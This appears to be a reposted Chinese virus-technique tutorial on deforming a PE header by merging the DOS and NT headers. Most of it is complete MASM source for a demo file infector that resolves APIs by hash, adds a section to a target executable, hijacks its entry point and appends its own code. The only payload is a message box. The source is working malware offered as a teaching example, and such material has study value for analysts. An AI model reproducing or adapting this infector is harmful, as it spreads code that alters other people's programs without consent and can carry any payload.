原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
1> 变形PE头的原理:
这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员.
一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,这对我们写入一个新的节表结构是足足有余的。
首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。
我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节(从'MZ'开始数,数到BaseOfData为3ch),这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了.
2> 变形PE头添加节的实现过程
![](https://i-blog.csdnimg.cn/blog_migrate/8f900a89c6347c561fdf2122f13be562.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/961ddebeb323a10fe0623af514929fc1.gif)
; 链接选项中加入/SECTION:.text, RWE, RadAsm中逗号替换为| 02. .386 03. .model flat, stdcall 04. option casemap:none 05. 06.include windows.inc 07. 08.@pushsz macro str 09. 10. call @f 11. db str, 0 12.@@: 13. 14. endm 15. 16.pushad_eax equ 1ch 17.pushad_edx equ 14h 18.pushad_esi equ 04h 19.pushad_edi equ 00h 20. 21. .code 22. 23.VirusStart: 24. pushad 25. call Dels 26. int 3 27. int 3 28. int 3 29. 30.Dels: 31. pop ebp 32. sub ebp, Dels - 3 ; call入栈的是第一个int 3的地址,所以减的时候Dels要减到第一个int 3 33. 34. ; Get kernel32 35. call GetKrnlBase 36. 37. lea edi, [ebp + dwFunc] ; edi指向dwFunc 38. push edi 39. push eax 40. call GetFuncAddress 41. 42. @pushsz 'user32' 43. call dword ptr [ebp + _LoadLibrary] ; 调用_LoadLibrary处的地址 44. 45. push edi 46. push eax 47. call GetFuncAddress 48. 49. test ebp, ebp ; 如果是在病毒的自己程序中,ebp为0,不会存在重定位问题 50. jz _Inject ; 如果是在病毒自己程序中就跳 51. 52. push 0 ; 如果是在被感染的程序中,就弹出一个对话框并继续感染其他文件 53. @pushsz 'Virus Demo' 54. @pushsz 'This program is infected :)' 55. push 0 56. call dword ptr [ebp + _MessageBox] 57. 58. push dword ptr [ebp + JmpHost + 1] ; 将原程序OEP入栈 59. pop dword ptr [esp + pushad_eax] ; 将原程序OEP弹入程序开始pushad保存的eax中 60. 61. @pushsz 'test2.exe' 62. call Inject 63. popad 64. 65. push eax ; 原程序OEP入栈 66. ret ; 调到原程序OEP 67. 68._Inject: 69. @pushsz 'test.exe' 70. call Inject 71. popad 72. ret 73. 74.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 75.; Arguments: 76.; None 77.; Return value: 78.; Success - eax = KrnlBase 79.; Failure - eax = -1 80.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 81.GetKrnlBase: 82. push dword ptr 006ch 83. push dword ptr 006c0064h 84. push dword ptr 002e0032h 85. push dword ptr 0033006ch 86. push dword ptr 0065006eh 87. push dword ptr 00720065h 88. push word ptr 006bh 89. mov ebx, esp 90. 91. assume fs:nothing 92. mov eax, fs:[30h] 93. test eax, eax 94. js _Os9x 95. mov eax, [eax + 0ch] 96. mov eax, [eax + 1ch] 97. 98._Search: 99. or eax, eax 100. jz _NotFound 101. inc eax 102. jz _NotFound 103. dec eax 104. lea esi, [eax + 1ch] ; eax + 1ch = BaseDllName 105. mov esi, [esi + 4] ; esi 指向UNICODE_STRING.BUFFER 106. mov ecx, dword ptr 13 107. mov edi, ebx 108. repz cmpsw 109. or ecx, ecx 110. jz _Found 111. mov eax, [eax] 112. jmp _Search 113. 114._NotFound: 115. or eax, 0ffffffffh 116. jmp _Result 117. 118._Found: 119. mov eax, [eax + 08h] 120. jmp _Result 121. 122._Os9x: 123. mov eax, [eax + 34h] 124. lea eax, [eax + 7ch] 125. mov eax, [eax + 3ch] 126. 127._Result: 128. add esp, 26 129. ret 130.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 131.; Arguments: 132.; [esp] - return address 133.; [esp + 4] - hModule 134.; [esp + 8] - pHashList 135.; Return value: 136.; None 137.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 138.GetFuncAddress: 139. pushad 140. mov ebx, [esp + 4 * 8 + 4] ; Get hModule, First arguments 141. mov edx, [ebx + 3ch] 142. mov esi, [ebx + edx + 78h] ; esi = PE Header.Data Directory[0].VirualAddress 143. lea esi, [ebx + esi + 18h] ; esi->ExportTable.NumberOfNames 144. lodsd 145. xchg eax, ecx ; ecx = NumberOfNames 146. lodsd 147. add eax, ebx 148. xchg eax, ebp ; ebp = AddressOfFunctions 149. lodsd 150. add eax, ebx 151. xchg eax, edx ; edx = AddressOfNames 152. lodsd 153. add eax, ebx 154. push eax ; [esp] = AddressOfNameOrdinals 155. mov esi, edx ; esi = AddressOfNames 156. 157._NextFunc: 158. lodsd 159. add eax, ebx 160. 161. ; Make Hash 162. xor edx, edx 163. 164._MakeHash: 165. rol edx, 3 166. xor dl, byte ptr [eax] 167. inc eax 168. cmp byte ptr [eax], 0 169. jnz _MakeHash 170. 171. mov eax, [esp] 172. add dword ptr [esp], 2 173. mov edi, [esp + 4 * 8 + 4 + 8] 174. 175._ScanDwFunc: 176. cmp dword ptr [edi], edx 177. jnz _NextHash 178. movzx eax, word ptr [eax] 179. mov eax, [ebp + eax * 4] 180. add eax, ebx 181. scasd ; 递增到存储地址的地方 182. stosd 183. jmp _Ret 184. 185._NextHash: 186. scasd 187. scasd ; 越过第一个api hash和存储地址区域 188. cmp dword ptr [edi], 0 189. jne _ScanDwFunc 190. 191._Ret: 192. loop _NextFunc 193. pop ecx 194. popad 195. ret 8 196.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 197.; Arguments: 198.; [esp] - return address 199.; [esp + 4] - lpMemory 200.; Return value: 201.; Success - CF = 1 202.; Faiulre - CF = 0 203.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 204.IsPe: 205. mov edx, [esp + 4] 206. cmp word ptr [edx], 'ZM' 207. jnz _IP_RetFalse 208. add edx, [edx + 3ch] 209. cmp word ptr [edx], 'EP' 210. jnz _IP_RetFalse 211. 212._IP_RetTrue: 213. stc 214. ret 4 * 1 215. 216._IP_RetFalse: 217. clc 218. ret 4 * 1 219.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 220.; Arguments: 221.; [esp] - return address 222.; [esp + 4] - lpFileName 223.; Return value: 224.; True - CF - 1 225.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 226.IsFileType: 227. push 0 ; 留出空间存放结果 228. push esp ; 输出参数 229. push dword ptr [esp + 4 * 2 + 4] 230. call dword ptr [ebp + _GetBinaryType] ; 调用GetBinaryType 231. pop eax ; 将输出参数中的值赋给eax 232. ; 32BIT_BINARY = 0 233. test eax, eax 234. jne _IFT_RetFalse 235. 236._IFT_RetTrue: 237. stc 238. ret 4 * 1 239. 240._IFT_RetFalse: 241. clc 242. ret 4 * 1 243.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 244.; Arguments: 245.; [esp] - return address 246.; [esp + 4] - lpFileName 247.; Return Value: 248.; None 249.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 250.Inject: 251. pushad 252. mov esi, [esp + 4 * 8 + 4] ; esi = lpFileName 253. 254. ;++ 255. ; Is File Pe Format 256. push esi 257. call IsFileType 258. jnc _IJ_Result ; 不是32位二进制文件跳走 259. ;-- 260. 261. xor eax, eax 262. push eax 263. push eax 264. push OPEN_EXISTING 265. push eax 266. push FILE_SHARE_WRITE 267. push GENERIC_READ or GENERIC_WRITE 268. push esi 269. call [ebp + _CreateFile] ; 打开文件lpFileName 270. cmp eax, -1 271. jz _IJ_Result 272. 273. xchg eax, ebx ; ebx = hFile 274. 275. push 0 276. push ebx 277. call [ebp + _GetFileSize] 278. push eax ; push File size 279. 280. push PAGE_READWRITE 281. push MEM_COMMIT 282. push eax 283. push 0 284. call [ebp + _VirtualAlloc] 285. pop edx ; edx = file size, eax = memory address 286. 287. test eax, eax 288. jz _IJ_CloseHandle 289. 290. xchg eax, edi ; edi = memory address 291. mov dword ptr [ebp + _FreeSize], edx 292. push 0 293. push esp 294. push dword ptr [ebp + _FreeSize] 295. push edi ; 将文件读取到edi 296. push ebx 297. call [ebp + _ReadFile] 298. test eax, eax 299. jz _FreeMem 300. 301. push edi ; 读取的文件数据 302. call IsPe 303. jnc _FreeMem 304. 305. push Virus_Len 306. push edi 307. call AddSectionTable ; 添加节表, 返回后edx = NewSection VirtualAddress(病毒入口RVA) 308. 309. ;++ 310. ; Update Oep, Write JmpHost 311. mov eax, edi ; eax为文件数据 312. add eax, [eax + 3ch] ; eax = PE Header 313. mov ecx, edx ; ecx = Virus entry rva 314. xchg ecx, [eax + 28h] ; [eax + 28h] = AddressOfEntryPoint程序执行入口RVA,和ecx交换 315. add ecx, [eax + 34h] ; [eax + 34h] = ImageBase程序的建议装载地址 316. mov dword ptr [ebp + JmpHost + 1], ecx ; 保存ImageBase + AddressOfEntryPoint = Oep 317. ;-- 318. 319. ; 将文件指针指向开始处 320. push FILE_BEGIN 321. push 0 322. push 0 323. push ebx 324. call [ebp + _SetFilePointer] 325. 326. ; 将更改后的文件数据写入文件 327. push 0 ; 留位置用于下面 push esp 做输出参数 328. push esp 329. lea eax, [ebp + _FreeSize] 330. push dword ptr [eax] 331. push edi 332. push ebx 333. call [ebp + _WriteFile] 334. test eax, eax 335. jz _FreeMem 336. 337. ; 在文件尾部扩展出Virus_Len长度的空间 338. push FILE_END 339. push 0 340. push Virus_Len 341. push ebx 342. call [ebp + _SetFilePointer] 343. 344. ; 确定文件结尾 345. push ebx 346. call [ebp + _SetEndOfFile] 347. 348. ; 从当前文件指针(文件结尾)往前移动Virus_Len字节,准备写入病毒代码 349. push FILE_CURRENT 350. push 0 351. push -(Virus_Len) 352. push ebx 353. call [ebp + _SetFilePointer] 354. 355. push 0 ; 为下一句指令留位置 356. push esp 357. push Virus_Len 358. lea eax, [ebp + VirusStart] 359. push eax ; 从VirusStart开始向文件当前文件指针指向的位置写入Virus_Len字节 360. push ebx 361. call [ebp + _WriteFile] 362. test eax, eax 363. jz _FreeMem 364. 365._FreeMem: 366. push MEM_DECOMMIT 367. _FreeSize = $ + 1 ; $ + 1为push指令后面的操作数的地址,上面将file size写入此处 368. push $ 369. push edi 370. call [ebp + _VirtualFree] 371. 372._IJ_CloseHandle: 373. push ebx 374. call [ebp + _CloseHandle] 375. 376._IJ_Result: 377. popad 378. ret 4 379.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 380.; Arguments: 381.; [esp] - return address 382.; [esp + 4 * 8 + 4] - pMemory 383.; [esp + 4 * 8 + 8] - dwLen 384.; Return Value: 385.; eax = New section PhysicalOffset 386.; edx = NewSection VirtualOffset 387.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 388.AddSectionTable: 389. pushad 390. mov ebx, [esp + 4 * 8 + 4] ; ebx = 映像起始 391. mov esi, ebx 392. add esi, [esi + 3ch] ; esi指向pe头 393. 394. ;++ 395. ; edi = Section Table 396. ; + 4是加上IMAGE_NT_HEADERS结构里的Signature的长度 397. ; IMAGE_FILE_HEADER.SizeOfOptionalHeader是相对于IMAGE_OPTIONAL_HEADER32的偏移 398. ; 这里需要的是相对于IMAGE_NT_HEADERS的偏移 399. movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.SizeOfOptionalHeader + 4] ; IMAGE_OPTIONAL_HEADER32结构长度 400. lea edi, dword ptr [esi + ecx + 4 + sizeof IMAGE_FILE_HEADER] ; edi指向节表 401. ;-- 402. 403. ;++ 404. ; Clear Entry Bound Import 405. lea edx, [esi + 74h] 406. cmp dword ptr [edx], 10 407. jl _GoSectionTable 408. mov dword ptr [edx + 4 + 11 * 8], 0 ; 清除Entry bound import 409. ;-- 410. 411._GoSectionTable: 412. ;++ 413. ; edx = First section offset 414. ; edi = Last section table offset 415. ; 这里为什么要取文件偏移呢,因为申请的内存中读取的文件数据 416. ; 并没有按照内存粒度对齐,还是和文件中一样的 417. mov edx, [edi + IMAGE_SECTION_HEADER.PointerToRawData] 418. add edx, ebx ; 节在文件中的位置 419. movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.NumberOfSections + 4] ; 节表数量 420. imul ecx, ecx, sizeof IMAGE_SECTION_HEADER ; 所有节表的长度 421. add edi, ecx ; edi = 节表尾部 422. ;-- 423. 424. ;++ 425. ; 扩大PE头结构 426. ; BaseOfData等于.lfanew 427. push edx 428. mov eax, edi 429. sub edx, eax ; 计算出第一个节和节表中间的空隙大小 430. cmp edx, sizeof IMAGE_SECTION_HEADER 431. pop edx 432. jge _AddSectionTable ; 能够存放下一个节表就跳,然后添加~ 433. 434. ; 测试扩展是否已存在 435. cmp word ptr [ebx + 0ch], 'EP' ; 如果开始+0ch就是'PE',说明PE头已变形 436. jnz _Expand 437. xor eax, eax 438. mov [esp + pushad_eax], eax 439. jmp _AST_Result 440. 441._Expand: 442. sub eax, esi ; 计算PE头到节表结尾的距离 443. xchg eax, ecx ; ecx = 距离 444. pushad 445. lea edi, [ebx + 0ch] ; edi指向程序开始偏移0ch处 446. mov dword ptr [esp + pushad_esi], edi ; 修改pushad保存的esi为edi 447. cld 448. rep movsb ; 循环复制字节, 将NT头和节表复制到程序开始偏移0ch处 449. mov dword ptr [esp + pushad_edi], edi ; 此时edi为新的节表尾部 450. 451. sub edx, edi ; edx = 第一个节的文件偏移 452. xchg ecx, edx ; ecx = 第一个节和新节表尾的距离 453. xor eax, eax 454. rep stosb ; 新节表为到第一个节中间的数据清0 455. popad 456. 457. mov dword ptr [ebx + 3ch], 0ch ; 此处原理参考PE头变形 458. ;-- 459. 460._AddSectionTable: 461. ; Inc Num 462. inc word ptr [esi + 06h] ; 节表数量加1 463. ; Section Name 464. mov dword ptr [edi], 'tesT' ; 名叫Test的节 465. ; Physical size 466. push dword ptr [esp + 4 * 8 + 8] ; 取出dwLen参数作为节的长度 467. pop dword ptr [edi + 10h] 468. ; Physical offset 469. lea edx, [edi - 28h] ; 指向最后一个节表 470. mov eax, [edx + 14h] ; 获取最后一个节的文件偏移 471. mov ecx, [edx + 10h] ; 获取最后一个节的长度 472. add eax, ecx ; 最后一个节的尾部偏移 473. mov dword ptr [edi + 14h], eax ; 新节的偏移 474. mov dword ptr [esp + pushad_eax], eax ; 修改pushad的eax为新节的偏移 475. ; Virtual size 476. push dword ptr [esp + 4 * 8 + 8] ; 取dwLen 477. pop dword ptr [edi + 8h] 478. ; Virtual offset 479. push dword ptr [esi + 50h] ; 内存中整个PE映像的尺寸 480. pop eax ; 弹入eax 481. mov dword ptr [edi + 0ch], eax ; eax = virus开始处的偏移,pe映像尺寸是经过内存粒度对齐的 482. mov [esp + pushad_edx], eax ; 将Virus的地址修改到edx 483. ; Flags 484. mov dword ptr [edi + 24h], 0e0000020h 485. ; SizeOfImage 486. mov ecx, [edi + 08h] 487. add ecx, [edi + 0ch] ; 原映像大小加上添加的代码大小 488. mov dword ptr [esi + 50h], ecx ; 修改映像大小 489. 490._AST_Result: 491. popad 492. ret 8 493. 494.JmpHost: 495. push $ 496. ret 497. 498.dwFunc: 499. dd 0C0D6D616h 500. _CloseHandle dd 0 501. 502. dd 038C62A7Ah 503. _CreateFile dd 0 504. 505. dd 0ABD10842h 506. _GetBinaryType dd 0 507. 508. dd 09554EFE7h 509. _GetFileSize dd 0 510. 511. dd 00BE25545h 512. _ReadFile dd 0 513. 514. dd 0A97175F9h 515. _SetEndOfFile dd 0 516. 517. dd 0A9D1FD70h 518. _SetFilePointer dd 0 519. 520. dd 0AB16D0AEh 521. _VirtualAlloc dd 0 522. 523. dd 0B562D3DBh 524. _VirtualFree dd 0 525. 526. dd 058D8C545h 527. _WriteFile dd 0 528. 529. dd 0A412FD89h 530. _LoadLibrary dd 0 531. 532. dd 014D14C51h 533. _MessageBox dd 0 534. 535. Virus_Len = $ - VirusStart 536. 537. end VirusStart